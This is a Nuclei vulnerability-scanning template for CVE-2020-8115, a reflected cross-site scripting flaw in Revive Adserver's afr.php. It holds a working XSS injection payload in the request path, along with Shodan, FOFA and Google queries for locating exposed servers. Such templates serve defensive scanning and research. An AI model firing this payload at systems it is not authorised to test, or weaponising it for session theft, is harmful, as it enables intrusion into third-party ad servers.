id: CVE-2020-8115

info:
  name: Revive Adserver <=5.0.3 - Cross-Site Scripting
  author: madrobot,dwisiswant0
  severity: medium
  description: |
    Revive Adserver 5.0.3 and prior contains a reflected cross-site scripting vulnerability in the publicly accessible afr.php delivery script. In older versions, it is possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script is printed back without proper escaping, allowing an attacker to execute arbitrary JavaScript code on the browser of the victim.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: There are currently no known exploits. As of 3.2.2, the session identifier cannot be accessed as it is stored in an http-only cookie.
  reference:
    - https://hackerone.com/reports/775693
    - https://www.revive-adserver.com/security/revive-sa-2020-001/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8115
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-8115
    cwe-id: CWE-79
    epss-score: 0.50902
    epss-percentile: 0.97905
    cpe: cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: revive-adserver
    product: revive_adserver
    shodan-query:
      - http.title:"revive adserver"
      - http.favicon.hash:106844876
    fofa-query:
      - icon_hash=106844876
      - title="revive adserver"
    google-query: intitle:"revive adserver"
  tags: cve,cve2020,xss,hackerone,revive-adserver,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/www/delivery/afr.php?refresh=10000&\")',10000000);alert(1337);setTimeout('alert(\""

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - (?mi)window\.location\.replace\(".*alert\(1337\)

      - type: word
        part: body
        words:
          - window.location.href.indexOf
        negative: true

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fc2c0c8c8ce638d4ce6d3f2670b660b989e1dc346179f6407a3922fd6fa3a2ba022100f1d87a3fb4199c3fd06b6b66ac56f91e8632695d29e7dbb96ff9448eb07c56a7:922c64590222798bb761d5b6d8e72950